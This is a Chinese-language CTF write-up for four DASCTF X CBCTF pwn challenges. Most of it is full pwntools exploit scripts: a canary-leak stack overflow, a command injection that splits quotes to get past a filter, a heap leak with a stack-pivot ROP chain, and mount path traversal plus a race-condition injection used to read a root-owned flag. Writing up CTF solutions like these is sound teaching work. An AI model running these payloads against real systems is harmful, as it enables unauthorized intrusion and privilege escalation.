DASCTF X CBCTF Pwn WriteUp

下午上号,一个小时秒了俩,然后开始坐牢。

看到反常点,没看到栈溢出的我是傻逼。

DASCTF X CBCTF Pwn WriteUp

不是glibc大赛,好评

相关附件可在buuoj比赛页面下载。

官方WriteUp传送门

出题人之一Nameless发在看雪上的wp and more

BadUdisk有关进程异步通信的一个小demo(具体详见下文)

GuestBook

printf(name)可以带出来canary,然后strcpy栈溢出。

0截断的话,先布置后面后门再布置前面的canary,最后用strcpy末尾加b"\x00"的特性收尾。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process("./GuestBook")
s=remote("node4.buuoj.cn",25801)
elf=ELF("./GuestBook")

if __name__=="__main__":
    s.sendlineafter(b"name: ",b"a"*0x18)
    s.recvuntil(b"a"*0x18+b"\n")
    canary=u64(b"\x00"+s.recv(7))>>8
    success(hex(canary))
    pause()
    s.sendlineafter(b": ",b"3")
    pause()
    s.sendline(flat([
        b"A"*0x98,b"a"*8,b"A"*8,
        0x4012c3
    ]))
    pause()
    s.sendline(flat([
        b"a"*0x78,b"a",canary,b"\x00"
    ]))
    pause()
    s.sendline(flat([
        b"A"*0x58,b"\x00"
    ]))
    s.interactive()

EASYBOX

命令注入直接秒

1
2
3
4
PING
localhost;ca""t fl""ag
CAT
../../tmp/result.txt

Binding

本来已经有了my_atoi那edit里为什么还要写一个展开形式呢……

edit中输入idx的部分存在栈溢出,最后存在一个任意地址写,但只会留低8位,剩余高位清零。

直接把canary扬了打栈迁移。

得从docker拖出来他用的libc和ld,glibcaio的库跟远程不太一样。

这就是你给全套dockerfile的理由吗

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import  *
context(arch='amd64', os='linux', log_level='debug')
#s=process("./binding")
#s=remote("165.22.242.160",9999)
s=remote("node4.buuoj.cn",25372)
elf=ELF("./binding")
libc=ELF("./libc-2.31.so")

def menu(ch):
    s.sendlineafter(b"choice:",str(ch).encode())
def add(idx,sz,content=b"/flag\0\0\0"):
    menu(1)
    s.sendlineafter(b"Idx:",str(idx).encode())
    s.sendlineafter(b"Size:",str(sz).encode())
    s.sendafter(b"Content:",content)

def edit(idx,c1,c2):
    menu(2)
    s.sendlineafter(b"Idx:",str(idx).encode())
    s.sendafter(b"context1: \n",c1)
    s.sendafter(b"context2: \n",c2)

def show(idx,spe=0):
    dat=[]
    menu(3)
    s.sendlineafter(b"choice:",str(spe).encode())
    s.sendlineafter(b"Idx:",str(idx).encode())
    if spe:
        s.recvuntil(b"context: ")
        dat.append(s.recvuntil(b"con").strip(b"con"))
    s.recvuntil(b"text: ")
    dat.append(s.recvline()[:-1])
    return dat    

def delete(idx):
    menu(4)
    s.sendlineafter(b"Idx:",str(idx).encode())

if __name__=="__main__":
    pause()
    for i in range(9):
        add(i,0x200)
    for i in range(8):
        delete(i)
    libc.address=u64(show(7)[0].ljust(8,b"\x00"))-(0x7fd841234be0-0x7fd841048000)
    success(hex(libc.address))
    pause()
    for i in range(8):
        add(i,0x108)
    for i in range(3):
        delete(i)
    heap_base=u64(show(1)[0].ljust(8,b"\x00"))-0x1870
    add(0,0x200)
    for i in range(4):
        add(i,0x108)
    success(hex(heap_base))
    pause()

    magic=libc.address+0x151990
    fs=libc.address+(0x7f3968ff7568-0x7f3968e04000)
    #fs=libc.address+(0x7fe4e97065e8-0x7fe4e950f000)
    rdi=libc.address+0x0000000000023b6a
    rsi=libc.address+0x000000000002601f
    rdx=libc.address+0x0000000000142c92
    ret=rdi+1
    leave_ret=libc.address+0x00000000000578c8
    p=flat([
        rdi,heap_base+0x1ba0,
        rsi,0,
        rdx,0,
        libc.sym.open,
        rdi,3,
        rsi,heap_base+0x1000,
        rdx,0x100,
        libc.sym.read,
        rdi,1,
        libc.sym.write,
    ])
    add(13,0x200,p)
    menu(2)
    s.sendafter("Idx:",flat([
        b"13".ljust(0x28,b"\x00"),0,
        heap_base+0x31e0-8,leave_ret,
    ]))
    s.sendafter(b"context1: \n",p64(fs))
    s.sendafter(b"context2: \n",p64(0))
    s.interactive()

BadUdisk

简单的流程图

1
2
3
4
5
6
7
8
mkudisk.create_label
                            ->
                                vol_daemon.o_and_r_label
                                vol_daemon.create_empty_img
                                vol_daemon.mount_img_to_tmp
                            <-
mkudisk.operations_on_tmpfs     vol_daemon.wait_for_sig
mkudisk.on_exit             ->  vol_daemon.umount_from_tmp_and_mount_to_target

解法1:未检查路径穿越,挂载导致目录覆盖,进而控制mybin目录内容

虽然一大堆system而且有snprintf,很诱人,但过滤似乎挺完整的,先不考虑命令注入。

可以看到最后执行的是mybin/log,注意到vold是以root权限启动,假设我们能把自己的文件系统挂到mybin上,进而就能控制log,进而就能以高权限任意执行,进而读出来root的flag了。

注意到label没有检查路径穿越../,考虑../mybin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
import time
import base64

context.log_level = 'debug'

io=lambda: r.interactive()
sl=lambda a: r.sendline(a)
sla=lambda a,b: r.sendlineafter(a,b)
se=lambda a: r.send(a)
sa=lambda a,b: r.sendafter(a,b)
lg=lambda name,data: log.success(name+":"+hex(data))
rcu=lambda a: r.recvuntil(a)

def z():
        gdb.attach(r)
        time.sleep(1)

if __name__ == '__main__':
        global r 
        global libc
        global ef
        #libc = ELF("./libc-2.31.so")
        #r = process("./pwn")
        r=remote("127.0.0.1",9999)
        sla("prefer:","../mybin")
        sla("$ ","sh")
        time.sleep(1)
        sl("cd ../tmp")
        time.sleep(1)
        sl("echo '#!/bin/sh\ncat /home/ctf/flag >/home/ctf/work/vold_log.txt\nchmod 777 /home/ctf/work/vold_log.txt' > log")
        time.sleep(1)
        sl("exit")
        time.sleep(1)
        sl("exit")
        io()

解法2:命令注入检测在前端,假设我把payload直接留在后端……

稍微看一下进程间的异步通信吧。参考链接

主程序创建信号量,daemon程序使用同一信号量,主程序退出后销毁相关状态。

注意到主程序退出前sleep(5)等待daemon处理,显然daemon用不了这么多时间,而daemon重启的计时器只有1秒,此时信号量还没有被销毁。

进而daemon不会被卡在等待label输入的阶段,会直接从label中取出内容并拼接,如果我们事先在里面留了payload,就能达成命令注入。

这里有一个小demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
p=remote("localhost",58000)
p.sendlineafter(b"prefer:",b"A")
s="|chmod +r /home/ctf/*"
p.sendlineafter(b"$",b"sh")
p.sendline(f'echo "{s}" > label'.encode())
p.sendline(b"exit")
p.sendlineafter(b"$",b"exit")
sleep(3)
p.close()

p=remote("localhost",58000)
p.sendlineafter(b"prefer:",b"A")
p.sendlineafter(b"$",b"sh")
p.sendline(b"cd ..&&cat flag")
p.interactive()
0%